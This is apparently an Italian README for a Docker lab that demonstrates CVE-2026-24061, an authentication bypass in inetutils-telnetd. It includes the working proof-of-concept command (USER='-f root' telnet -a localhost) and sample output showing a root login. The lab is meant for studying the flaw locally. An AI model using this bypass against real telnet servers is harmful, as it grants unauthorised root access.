
Un piccolo laboratorio docker per giocare con cve-2026-24061, il bypass dell'autenticazione di inetutils-telnetd.
Un piccolo laboratorio per sperimentare il bypass dell'autenticazione in inetutils-telnetd 1.9.3 - 2.7 come divulgato sulla mailing list oss-sec. [0]
Questo container si basa sul fatto che inetutils-telnetd è ancora una versione vulnerabile in Debian 11 (Bullseye). Al momento della creazione, era:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
Clona e crea il container con docker build -t telnetd-exploit ..
Esegui il container con docker run --rm -it telnetd-exploit. Un messaggio ti mostrerà il PoC.
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
Un'esecuzione riuscita sarebbe simile a questa:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#